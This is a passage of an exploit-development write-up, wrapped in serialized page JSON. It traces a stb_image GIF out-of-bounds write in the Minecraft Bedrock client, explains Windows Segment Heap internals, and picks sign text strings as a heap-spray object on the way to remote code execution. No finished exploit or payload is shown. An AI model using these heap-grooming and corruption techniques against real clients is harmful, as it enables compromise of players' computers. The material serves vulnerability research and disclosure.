17},{"type":24,"tag":90,"props":150830,"children":150831},{"style":114},[150832],{"type":29,"value":11037},{"type":24,"tag":90,"props":150834,"children":150835},{"style":120},[150836],{"type":29,"value":5491},{"type":24,"tag":90,"props":150838,"children":150839},{"style":114},[150840],{"type":29,"value":150841}," transp ",{"type":24,"tag":90,"props":150843,"children":150844},{"style":120},[150845],{"type":29,"value":10951},{"type":24,"tag":90,"props":150847,"children":150848},{"style":114},[150849],{"type":29,"value":56368},{"type":24,"tag":90,"props":150851,"children":150852},{"style":120},[150853],{"type":29,"value":714},{"type":24,"tag":90,"props":150855,"children":150856},{"style":349},[150857],{"type":29,"value":5448},{"type":24,"tag":90,"props":150859,"children":150860},{"style":120},[150861],{"type":29,"value":36931},{"type":24,"tag":90,"props":150863,"children":150864},{"style":349},[150865],{"type":29,"value":150866}," 255",{"type":24,"tag":90,"props":150868,"children":150869},{"style":114},[150870],{"type":29,"value":381},{"type":24,"tag":90,"props":150872,"children":150873},{"class":92,"line":606},[150874],{"type":24,"tag":90,"props":150875,"children":150876},{"style":114},[150877],{"type":29,"value":36563},{"type":24,"tag":90,"props":150879,"children":150880},{"class":92,"line":615},[150881],{"type":24,"tag":90,"props":150882,"children":150883},{"style":114},[150884],{"type":29,"value":827},{"type":24,"tag":25,"props":150886,"children":150887},{},[150888,150890,150895,150896,150901,150903,150908],{"type":29,"value":150889},"The first three bytes are read from the input image, while the last byte can be either ",{"type":24,"tag":32,"props":150891,"children":150893},{"className":150892},[],[150894],{"type":29,"value":6408},{"type":29,"value":15499},{"type":24,"tag":32,"props":150897,"children":150899},{"className":150898},[],[150900],{"type":29,"value":115173},{"type":29,"value":150902},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":24,"tag":32,"props":150904,"children":150906},{"className":150905},[],[150907],{"type":29,"value":31659},{"type":29,"value":78},{"type":24,"tag":80,"props":150910,"children":150912},{"code":150911,"language":3030,"meta":7,"className":3028,"style":7}," c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2];\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[150913],{"type":24,"tag":32,"props":150914,"children":150915},{"__ignoreMap":7},[150916,150979,151018,151057,151096,151135,151174],{"type":24,"tag":90,"props":150917,"children":150918},{"class":92,"line":93},[150919,150923,150927,150931,150935,150939,150943,150947,150951,150955,150959,150963,150967,150971,150975],{"type":24,"tag":90,"props":150920,"children":150921},{"style":114},[150922],{"type":29,"value":150233},{"type":24,"tag":90,"props":150924,"children":150925},{"style":120},[150926],{"type":29,"value":5491},{"type":24,"tag":90,"props":150928,"children":150929},{"style":120},[150930],{"type":29,"value":455},{"type":24,"tag":90,"props":150932,"children":150933},{"style":114},[150934],{"type":29,"value":111128},{"type":24,"tag":90,"props":150936,"children":150937},{"style":120},[150938],{"type":29,"value":177},{"type":24,"tag":90,"props":150940,"children":150941},{"style":136},[150942],{"type":29,"value":150254},{"type":24,"tag":90,"props":150944,"children":150945},{"style":114},[150946],{"type":29,"value":719},{"type":24,"tag":90,"props":150948,"children":150949},{"style":136},[150950],{"type":29,"value":111128},{"type":24,"tag":90,"props":150952,"children":150953},{"style":114},[150954],{"type":29,"value":177},{"type":24,"tag":90,"props":150956,"children":150957},{"style":136},[150958],{"type":29,"value":150271},{"type":24,"tag":90,"props":150960,"children":150961},{"style":114},[150962],{"type":29,"value":150276},{"type":24,"tag":90,"props":150964,"children":150965},{"style":136},[150966],{"type":29,"value":150281},{"type":24,"tag":90,"props":150968,"children":150969},{"style":120},[150970],{"type":29,"value":366},{"type":24,"tag":90,"props":150972,"children":150973},{"style":349},[150974],{"type":29,"value":14114},{"type":24,"tag":90,"props":150976,"children":150977},{"style":114},[150978],{"type":29,"value":33387},{"type":24,"tag":90,"props":150980,"children":150981},{"class":92,"line":200},[150982,150986,150990,150994,150998,151002,151006,151010,151014],{"type":24,"tag":90,"props":150983,"children":150984},{"style":636},[150985],{"type":29,"value":54468},{"type":24,"tag":90,"props":150987,"children":150988},{"style":114},[150989],{"type":29,"value":1151},{"type":24,"tag":90,"props":150991,"children":150992},{"style":136},[150993],{"type":29,"value":3030},{"type":24,"tag":90,"props":150995,"children":150996},{"style":114},[150997],{"type":29,"value":719},{"type":24,"tag":90,"props":150999,"children":151000},{"style":349},[151001],{"type":29,"value":3817},{"type":24,"tag":90,"props":151003,"children":151004},{"style":114},[151005],{"type":29,"value":11037},{"type":24,"tag":90,"props":151007,"children":151008},{"style":120},[151009],{"type":29,"value":12830},{"type":24,"tag":90,"props":151011,"children":151012},{"style":349},[151013],{"type":29,"value":150329},{"type":24,"tag":90,"props":151015,"children":151016},{"style":114},[151017],{"type":29,"value":1297},{"type":24,"tag":90,"props":151019,"children":151020},{"class":92,"line":239},[151021,151025,151029,151033,151037,151041,151045,151049,151053],{"type":24,"tag":90,"props":151022,"children":151023},{"style":136},[151024],{"type":29,"value":150341},{"type":24,"tag":90,"props":151026,"children":151027},{"style":114},[151028],{"type":29,"value":719},{"type":24,"tag":90,"props":151030,"children":151031},{"style":349},[151032],{"type":29,"value":6408},{"type":24,"tag":90,"props":151034,"children":151035},{"style":114},[151036],{"type":29,"value":11037},{"type":24,"tag":90,"props":151038,"children":151039},{"style":120},[151040],{"type":29,"value":5491},{"type":24,"tag":90,"props":151042,"children":151043},{"style":136},[151044],{"type":29,"value":39261},{"type":24,"tag":90,"props":151046,"children":151047},{"style":114},[151048],{"type":29,"value":719},{"type":24,"tag":90,"props":151050,"children":151051},{"style":349},[151052],{"type":29,"value":3191},{"type":24,"tag":90,"props":151054,"children":151055},{"style":114},[151056],{"type":29,"value":33387},{"type":24,"tag":90,"props":151058,"children":151059},{"class":92,"line":248},[151060,151064,151068,151072,151076,151080,151084,151088,151092],{"type":24,"tag":90,"props":151061,"children":151062},{"style":136},[151063],{"type":29,"value":150341},{"type":24,"tag":90,"props":151065,"children":151066},{"style":114},[151067],{"type":29,"value":719},{"type":24,"tag":90,"props":151069,"children":151070},{"style":349},[151071],{"type":29,"value":534},{"type":24,"tag":90,"props":151073,"children":151074},{"style":114},[151075],{"type":29,"value":11037},{"type":24,"tag":90,"props":151077,"children":151078},{"style":120},[151079],{"type":29,"value":5491},{"type":24,"tag":90,"props":151081,"children":151082},{"style":136},[151083],{"type":29,"value":39261},{"type":24,"tag":90,"props":151085,"children":151086},{"style":114},[151087],{"type":29,"value":719},{"type":24,"tag":90,"props":151089,"children":151090},{"style":349},[151091],{"type":29,"value":534},{"type":24,"tag":90,"props":151093,"children":151094},{"style":114},[151095],{"type":29,"value":33387},{"type":24,"tag":90,"props":151097,"children":151098},{"class":92,"line":258},[151099,151103,151107,151111,151115,151119,151123,151127,151131],{"type":24,"tag":90,"props":151100,"children":151101},{"style":136},[151102],{"type":29,"value":150341},{"type":24,"tag":90,"props":151104,"children":151105},{"style":114},[151106],{"type":29,"value":719},{"type":24,"tag":90,"props":151108,"children":151109},{"style":349},[151110],{"type":29,"value":3191},{"type":24,"tag":90,"props":151112,"children":151113},{"style":114},[151114],{"type":29,"value":11037},{"type":24,"tag":90,"props":151116,"children":151117},{"style":120},[151118],{"type":29,"value":5491},{"type":24,"tag":90,"props":151120,"children":151121},{"style":136},[151122],{"type":29,"value":39261},{"type":24,"tag":90,"props":151124,"children":151125},{"style":114},[151126],{"type":29,"value":719},{"type":24,"tag":90,"props":151128,"children":151129},{"style":349},[151130],{"type":29,"value":6408},{"type":24,"tag":90,"props":151132,"children":151133},{"style":114},[151134],{"type":29,"value":33387},{"type":24,"tag":90,"props":151136,"children":151137},{"class":92,"line":272},[151138,151142,151146,151150,151154,151158,151162,151166,151170],{"type":24,"tag":90,"props":151139,"children":151140},{"style":136},[151141],{"type":29,"value":150341},{"type":24,"tag":90,"props":151143,"children":151144},{"style":114},[151145],{"type":29,"value":719},{"type":24,"tag":90,"props":151147,"children":151148},{"style":349},[151149],{"type":29,"value":3817},{"type":24,"tag":90,"props":151151,"children":151152},{"style":114},[151153],{"type":29,"value":11037},{"type":24,"tag":90,"props":151155,"children":151156},{"style":120},[151157],{"type":29,"value":5491},{"type":24,"tag":90,"props":151159,"children":151160},{"style":136},[151161],{"type":29,"value":39261},{"type":24,"tag":90,"props":151163,"children":151164},{"style":114},[151165],{"type":29,"value":719},{"type":24,"tag":90,"props":151167,"children":151168},{"style":349},[151169],{"type":29,"value":3817},{"type":24,"tag":90,"props":151171,"children":151172},{"style":114},[151173],{"type":29,"value":33387},{"type":24,"tag":90,"props":151175,"children":151176},{"class":92,"line":281},[151177],{"type":24,"tag":90,"props":151178,"children":151179},{"style":114},[151180],{"type":29,"value":36563},{"type":24,"tag":25,"props":151182,"children":151183},{},[151184,151185,151190,151192,151197,151199,151204],{"type":29,"value":25823},{"type":24,"tag":32,"props":151186,"children":151188},{"className":151187},[],[151189],{"type":29,"value":150541},{"type":29,"value":151191}," has to set the last byte to ",{"type":24,"tag":32,"props":151193,"children":151195},{"className":151194},[],[151196],{"type":29,"value":115173},{"type":29,"value":151198}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":24,"tag":32,"props":151200,"children":151202},{"className":151201},[],[151203],{"type":29,"value":115173},{"type":29,"value":226},{"type":24,"tag":25,"props":151206,"children":151207},{},[151208,151210,151215,151217,151223,151224,151230],{"type":29,"value":151209},"In the code we can see that size of the ",{"type":24,"tag":32,"props":151211,"children":151213},{"className":151212},[],[151214],{"type":29,"value":149998},{"type":29,"value":151216}," allocation is controlled through ",{"type":24,"tag":32,"props":151218,"children":151220},{"className":151219},[],[151221],{"type":29,"value":151222},"g->w",{"type":29,"value":13360},{"type":24,"tag":32,"props":151225,"children":151227},{"className":151226},[],[151228],{"type":29,"value":151229},"g->h",{"type":29,"value":151231}," values, both of which are read from the input file itself:",{"type":24,"tag":80,"props":151233,"children":151235},{"code":151234,"language":3030,"meta":7,"className":3028,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n [...]\n if (g->out == 0) {\n if (!stbi__gif_header(s, g, comp,0)) return 0;\n g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[151236],{"type":24,"tag":32,"props":151237,"children":151238},{"__ignoreMap":7},[151239,151264,151271,151278,151313,151359],{"type":24,"tag":90,"props":151240,"children":151241},{"class":92,"line":93},[151242,151246,151251,151255,151259],{"type":24,"tag":90,"props":151243,"children":151244},{"style":97},[151245],{"type":29,"value":52868},{"type":24,"tag":90,"props":151247,"children":151248},{"style":114},[151249],{"type":29,"value":151250}," stbi_uc ",{"type":24,"tag":90,"props":151252,"children":151253},{"style":120},[151254],{"type":29,"value":983},{"type":24,"tag":90,"props":151256,"children":151257},{"style":108},[151258],{"type":29,"value":149177},{"type":24,"tag":90,"props":151260,"children":151261},{"style":114},[151262],{"type":29,"value":151263},"(...)\n",{"type":24,"tag":90,"props":151265,"children":151266},{"class":92,"line":200},[151267],{"type":24,"tag":90,"props":151268,"children":151269},{"style":114},[151270],{"type":29,"value":2221},{"type":24,"tag":90,"props":151272,"children":151273},{"class":92,"line":239},[151274],{"type":24,"tag":90,"props":151275,"children":151276},{"style":114},[151277],{"type":29,"value":149739},{"type":24,"tag":90,"props":151279,"children":151280},{"class":92,"line":248},[151281,151285,151289,151293,151297,151301,151305,151309],{"type":24,"tag":90,"props":151282,"children":151283},{"style":636},[151284],{"type":29,"value":54468},{"type":24,"tag":90,"props":151286,"children":151287},{"style":114},[151288],{"type":29,"value":1151},{"type":24,"tag":90,"props":151290,"children":151291},{"style":136},[151292],{"type":29,"value":111128},{"type":24,"tag":90,"props":151294,"children":151295},{"style":114},[151296],{"type":29,"value":177},{"type":24,"tag":90,"props":151298,"children":151299},{"style":136},[151300],{"type":29,"value":120551},{"type":24,"tag":90,"props":151302,"children":151303},{"style":120},[151304],{"type":29,"value":2102},{"type":24,"tag":90,"props":151306,"children":151307},{"style":349},[151308],{"type":29,"value":5448},{"type":24,"tag":90,"props":151310,"children":151311},{"style":114},[151312],{"type":29,"value":1297},{"type":24,"tag":90,"props":151314,"children":151315},{"class":92,"line":258},[151316,151320,151324,151328,151333,151338,151342,151347,151351,151355],{"type":24,"tag":90,"props":151317,"children":151318},{"style":636},[151319],{"type":29,"value":41103},{"type":24,"tag":90,"props":151321,"children":151322},{"style":114},[151323],{"type":29,"value":1151},{"type":24,"tag":90,"props":151325,"children":151326},{"style":120},[151327],{"type":29,"value":22417},{"type":24,"tag":90,"props":151329,"children":151330},{"style":108},[151331],{"type":29,"value":151332},"stbi__gif_header",{"type":24,"tag":90,"props":151334,"children":151335},{"style":114},[151336],{"type":29,"value":151337},"(s, g, comp,",{"type":24,"tag":90,"props":151339,"children":151340},{"style":349},[151341],{"type":29,"value":6408},{"type":24,"tag":90,"props":151343,"children":151344},{"style":114},[151345],{"type":29,"value":151346},")) ",{"type":24,"tag":90,"props":151348,"children":151349},{"style":636},[151350],{"type":29,"value":50280},{"type":24,"tag":90,"props":151352,"children":151353},{"style":349},[151354],{"type":29,"value":5448},{"type":24,"tag":90,"props":151356,"children":151357},{"style":114},[151358],{"type":29,"value":381},{"type":24,"tag":90,"props":151360,"children":151361},{"class":92,"line":272},[151362,151367,151371,151375,151379,151384,151388,151392,151397,151401,151405,151409,151413,151417,151421,151425,151429,151433,151437],{"type":24,"tag":90,"props":151363,"children":151364},{"style":136},[151365],{"type":29,"value":151366}," g",{"type":24,"tag":90,"props":151368,"children":151369},{"style":114},[151370],{"type":29,"value":177},{"type":24,"tag":90,"props":151372,"children":151373},{"style":136},[151374],{"type":29,"value":120551},{"type":24,"tag":90,"props":151376,"children":151377},{"style":120},[151378],{"type":29,"value":216},{"type":24,"tag":90,"props":151380,"children":151381},{"style":114},[151382],{"type":29,"value":151383}," (stbi_uc ",{"type":24,"tag":90,"props":151385,"children":151386},{"style":120},[151387],{"type":29,"value":983},{"type":24,"tag":90,"props":151389,"children":151390},{"style":114},[151391],{"type":29,"value":172},{"type":24,"tag":90,"props":151393,"children":151394},{"style":108},[151395],{"type":29,"value":151396},"stbi__malloc",{"type":24,"tag":90,"props":151398,"children":151399},{"style":114},[151400],{"type":29,"value":117},{"type":24,"tag":90,"props":151402,"children":151403},{"style":349},[151404],{"type":29,"value":4051},{"type":24,"tag":90,"props":151406,"children":151407},{"style":120},[151408],{"type":29,"value":366},{"type":24,"tag":90,"props":151410,"children":151411},{"style":136},[151412],{"type":29,"value":149779},{"type":24,"tag":90,"props":151414,"children":151415},{"style":114},[151416],{"type":29,"value":177},{"type":24,"tag":90,"props":151418,"children":151419},{"style":136},[151420],{"type":29,"value":51395},{"type":24,"tag":90,"props":151422,"children":151423},{"style":120},[151424],{"type":29,"value":366},{"type":24,"tag":90,"props":151426,"children":151427},{"style":136},[151428],{"type":29,"value":149779},{"type":24,"tag":90,"props":151430,"children":151431},{"style":114},[151432],{"type":29,"value":177},{"type":24,"tag":90,"props":151434,"children":151435},{"style":136},[151436],{"type":29,"value":86175},{"type":24,"tag":90,"props":151438,"children":151439},{"style":114},[151440],{"type":29,"value":571},{"type":24,"tag":25,"props":151442,"children":151443},{},[151444,151446,151451,151453,151458],{"type":29,"value":151445},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":24,"tag":32,"props":151447,"children":151449},{"className":151448},[],[151450],{"type":29,"value":149998},{"type":29,"value":151452}," and the value of ",{"type":24,"tag":32,"props":151454,"children":151456},{"className":151455},[],[151457],{"type":29,"value":25},{"type":29,"value":151459}," just before the OOB write happens:",{"type":24,"tag":80,"props":151461,"children":151463},{"code":151462},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[151464],{"type":24,"tag":32,"props":151465,"children":151466},{"__ignoreMap":7},[151467],{"type":29,"value":151462},{"type":24,"tag":25,"props":151469,"children":151470},{},[151471,151473,151478,151480,151485],{"type":29,"value":151472},"There are multiple within-bound writes to ",{"type":24,"tag":32,"props":151474,"children":151476},{"className":151475},[],[151477],{"type":29,"value":25},{"type":29,"value":151479},", but the last write happens just after the ",{"type":24,"tag":32,"props":151481,"children":151483},{"className":151482},[],[151484],{"type":29,"value":149998},{"type":29,"value":151486}," allocation.",{"type":24,"tag":1019,"props":151488,"children":151490},{"id":151489},"summarizing-the-corruption",[151491],{"type":29,"value":151492},"Summarizing the Corruption",{"type":24,"tag":3207,"props":151494,"children":151495},{},[151496,151509,151537],{"type":24,"tag":3104,"props":151497,"children":151498},{},[151499,151501,151507],{"type":29,"value":151500},"A single ",{"type":24,"tag":32,"props":151502,"children":151504},{"className":151503},[],[151505],{"type":29,"value":151506},"0x01",{"type":29,"value":151508}," byte write OOB",{"type":24,"tag":3104,"props":151510,"children":151511},{},[151512,151514],{"type":29,"value":151513},"4-byte OOB write just above the allocated buffer\n",{"type":24,"tag":3207,"props":151515,"children":151516},{},[151517,151522,151532],{"type":24,"tag":3104,"props":151518,"children":151519},{},[151520],{"type":29,"value":151521},"First three bytes are controllable",{"type":24,"tag":3104,"props":151523,"children":151524},{},[151525,151527],{"type":29,"value":151526},"Last byte will be ",{"type":24,"tag":32,"props":151528,"children":151530},{"className":151529},[],[151531],{"type":29,"value":115173},{"type":24,"tag":3104,"props":151533,"children":151534},{},[151535],{"type":29,"value":151536},"Size of the allocation is controlled",{"type":24,"tag":3104,"props":151538,"children":151539},{},[151540,151542],{"type":29,"value":151541},"Both corruptions are done on a short-lived allocation\n",{"type":24,"tag":3207,"props":151543,"children":151544},{},[151545,151550],{"type":24,"tag":3104,"props":151546,"children":151547},{},[151548],{"type":29,"value":151549},"Allocated just before the image-parsing process",{"type":24,"tag":3104,"props":151551,"children":151552},{},[151553],{"type":29,"value":151554},"Freed immediately upon parsing completion",{"type":24,"tag":20586,"props":151556,"children":151557},{},[],{"type":24,"tag":25,"props":151559,"children":151560},{},[151561,151563,151570,151572,151579],{"type":29,"value":151562},"Note that this bug was already found before (",{"type":24,"tag":69,"props":151564,"children":151567},{"href":151565,"rel":151566},"https://github.com/nothings/stb/issues/656",[73],[151568],{"type":29,"value":151569},"Github Issue",{"type":29,"value":151571},") but we missed it at the time. It was later fixed in ",{"type":24,"tag":69,"props":151573,"children":151576},{"href":151574,"rel":151575},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[73],[151577],{"type":29,"value":151578},"this commit",{"type":29,"value":226},{"type":24,"tag":850,"props":151581,"children":151582},{"id":7806},[151583],{"type":29,"value":7809},{"type":24,"tag":25,"props":151585,"children":151586},{},[151587],{"type":29,"value":151588},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":24,"tag":25,"props":151590,"children":151591},{},[151592],{"type":29,"value":151593},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":24,"tag":1019,"props":151595,"children":151597},{"id":151596},"searching-for-better-primitives",[151598],{"type":29,"value":151599},"Searching for Better Primitives",{"type":24,"tag":25,"props":151601,"children":151602},{},[151603],{"type":29,"value":151604},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":24,"tag":25,"props":151606,"children":151607},{},[151608,151610,151617],{"type":29,"value":151609},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":24,"tag":69,"props":151611,"children":151614},{"href":151612,"rel":151613},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[73],[151615],{"type":29,"value":151616},"UWP",{"type":29,"value":151618}," applications (such as Minecraft Bedrock Edition).",{"type":24,"tag":1019,"props":151620,"children":151622},{"id":151621},"segment-heap",[151623],{"type":29,"value":151624},"Segment Heap",{"type":24,"tag":25,"props":151626,"children":151627},{},[151628,151630,151637],{"type":29,"value":151629},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":24,"tag":69,"props":151631,"children":151634},{"href":151632,"rel":151633},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[73],[151635],{"type":29,"value":151636},"this talk",{"type":29,"value":151638}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":24,"tag":20686,"props":151640,"children":151642},{"id":151641},"low-fragmentation-heap",[151643],{"type":29,"value":151644},"Low Fragmentation Heap",{"type":24,"tag":25,"props":151646,"children":151647},{},[151648,151650,151656],{"type":29,"value":151649},"Low Fragmentation Heap (LFH) services allocations of ",{"type":24,"tag":32,"props":151651,"children":151653},{"className":151652},[],[151654],{"type":29,"value":151655},"0x3ff0",{"type":29,"value":151657}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":24,"tag":25,"props":151659,"children":151660},{},[151661],{"type":29,"value":151662},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":24,"tag":80,"props":151664,"children":151666},{"code":151665}," +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[151667],{"type":24,"tag":32,"props":151668,"children":151669},{"__ignoreMap":7},[151670],{"type":29,"value":151665},{"type":24,"tag":25,"props":151672,"children":151673},{},[151674],{"type":29,"value":151675},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":24,"tag":20686,"props":151677,"children":151679},{"id":151678},"variable-size",[151680],{"type":29,"value":151681},"Variable Size",{"type":24,"tag":25,"props":151683,"children":151684},{},[151685,151687,151693,151695,151701],{"type":29,"value":151686},"This subsegment is used for allocation sizes from ",{"type":24,"tag":32,"props":151688,"children":151690},{"className":151689},[],[151691],{"type":29,"value":151692},"0x4000",{"type":29,"value":151694}," and up to ",{"type":24,"tag":32,"props":151696,"children":151698},{"className":151697},[],[151699],{"type":29,"value":151700},"0x20_000",{"type":29,"value":151702},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":24,"tag":80,"props":151704,"children":151706},{"code":151705}," +-------------------------+\n Chunk A ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\n Chunk B ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[151707],{"type":24,"tag":32,"props":151708,"children":151709},{"__ignoreMap":7},[151710],{"type":29,"value":151705},{"type":24,"tag":25,"props":151712,"children":151713},{},[151714,151716,151722],{"type":29,"value":151715},"The header, ",{"type":24,"tag":32,"props":151717,"children":151719},{"className":151718},[],[151720],{"type":29,"value":151721},"HEAP_VS_CHUNK_HEADER",{"type":29,"value":151723},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":24,"tag":20586,"props":151725,"children":151726},{},[],{"type":24,"tag":25,"props":151728,"children":151729},{},[151730],{"type":29,"value":151731},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":24,"tag":25,"props":151733,"children":151734},{},[151735,151737,151744],{"type":29,"value":151736},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":24,"tag":69,"props":151738,"children":151741},{"href":151739,"rel":151740},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[73],[151742],{"type":29,"value":151743},"technique published",{"type":29,"value":151745}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":24,"tag":25,"props":151747,"children":151748},{},[151749],{"type":29,"value":151750},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":24,"tag":25,"props":151752,"children":151753},{},[151754],{"type":29,"value":151755},"In either case, we needed a way to spray the heap before we could proceed.",{"type":24,"tag":1019,"props":151757,"children":151759},{"id":151758},"finding-a-way-to-spray-the-heap",[151760],{"type":29,"value":151761},"Finding a Way to Spray the Heap",{"type":24,"tag":25,"props":151763,"children":151764},{},[151765],{"type":29,"value":151766},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":24,"tag":3207,"props":151768,"children":151769},{},[151770,151775,151780,151785],{"type":24,"tag":3104,"props":151771,"children":151772},{},[151773],{"type":29,"value":151774},"The size of the allocation",{"type":24,"tag":3104,"props":151776,"children":151777},{},[151778],{"type":29,"value":151779},"The data written into the allocated buffer",{"type":24,"tag":3104,"props":151781,"children":151782},{},[151783],{"type":29,"value":151784},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":24,"tag":3104,"props":151786,"children":151787},{},[151788],{"type":29,"value":151789},"The number of created objects (preferably unbounded)",{"type":24,"tag":25,"props":151791,"children":151792},{},[151793],{"type":29,"value":151794},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":24,"tag":20686,"props":151796,"children":151798},{"id":151797},"minecraft-signs",[151799],{"type":29,"value":151800},"Minecraft Signs",{"type":24,"tag":25,"props":151802,"children":151803},{},[151804],{"type":29,"value":151805},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":24,"tag":25,"props":151807,"children":151808},{},[151809,151811,151817],{"type":29,"value":151810},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":24,"tag":32,"props":151812,"children":151814},{"className":151813},[],[151815],{"type":29,"value":151816},"std::string",{"type":29,"value":226},{"type":24,"tag":25,"props":151819,"children":151820},{},[151821,151823,151828],{"type":29,"value":151822},"In Microsoft’s C++ implementation, ",{"type":24,"tag":32,"props":151824,"children":151826},{"className":151825},[],[151827],{"type":29,"value":151816},{"type":29,"value":151829}," is structured roughly as follows:",{"type":24,"tag":80,"props":151831,"children":151833},{"code":151832,"language":3030,"meta":7,"className":3028,"style":7},"struct string\n{\n union {\n char* ptr;\n char buf[16];\n };\n size_t size;\n size_t capacity;\n};\n",[151834],{"type":24,"tag":32,"props":151835,"children":151836},{"__ignoreMap":7},[151837,151848,151855,151867,151883,151907,151914,151925,151937],{"type":24,"tag":90,"props":151838,"children":151839},{"class":92,"line":93},[151840,151844],{"type":24,"tag":90,"props":151841,"children":151842},{"style":97},[151843],{"type":29,"value":3050},{"type":24,"tag":90,"props":151845,"children":151846},{"style":114},[151847],{"type":29,"value":86874},{"type":24,"tag":90,"props":151849,"children":151850},{"class":92,"line":200},[151851],{"type":24,"tag":90,"props":151852,"children":151853},{"style":114},[151854],{"type":29,"value":2221},{"type":24,"tag":90,"props":151856,"children":151857},{"class":92,"line":239},[151858,151863],{"type":24,"tag":90,"props":151859,"children":151860},{"style":97},[151861],{"type":29,"value":151862}," union",{"type":24,"tag":90,"props":151864,"children":151865},{"style":114},[151866],{"type":29,"value":269},{"type":24,"tag":90,"props":151868,"children":151869},{"class":92,"line":248},[151870,151875,151879],{"type":24,"tag":90,"props":151871,"children":151872},{"style":97},[151873],{"type":29,"value":151874}," char",{"type":24,"tag":90,"props":151876,"children":151877},{"style":120},[151878],{"type":29,"value":983},{"type":24,"tag":90,"props":151880,"children":151881},{"style":114},[151882],{"type":29,"value":3072},{"type":24,"tag":90,"props":151884,"children":151885},{"class":92,"line":258},[151886,151890,151895,151899,151903],{"type":24,"tag":90,"props":151887,"children":151888},{"style":97},[151889],{"type":29,"value":151874},{"type":24,"tag":90,"props":151891,"children":151892},{"style":136},[151893],{"type":29,"value":151894}," buf",{"type":24,"tag":90,"props":151896,"children":151897},{"style":114},[151898],{"type":29,"value":719},{"type":24,"tag":90,"props":151900,"children":151901},{"style":349},[151902],{"type":29,"value":42664},{"type":24,"tag":90,"props":151904,"children":151905},{"style":114},[151906],{"type":29,"value":33387},{"type":24,"tag":90,"props":151908,"children":151909},{"class":92,"line":272},[151910],{"type":24,"tag":90,"props":151911,"children":151912},{"style":114},[151913],{"type":29,"value":40813},{"type":24,"tag":90,"props":151915,"children":151916},{"class":92,"line":281},[151917,151921],{"type":24,"tag":90,"props":151918,"children":151919},{"style":97},[151920],{"type":29,"value":3080},{"type":24,"tag":90,"props":151922,"children":151923},{"style":114},[151924],{"type":29,"value":126432},{"type":24,"tag":90,"props":151926,"children":151927},{"class":92,"line":384},[151928,151932],{"type":24,"tag":90,"props":151929,"children":151930},{"style":97},[151931],{"type":29,"value":3080},{"type":24,"tag":90,"props":151933,"children":151934},{"style":114},[151935],{"type":29,"value":151936}," 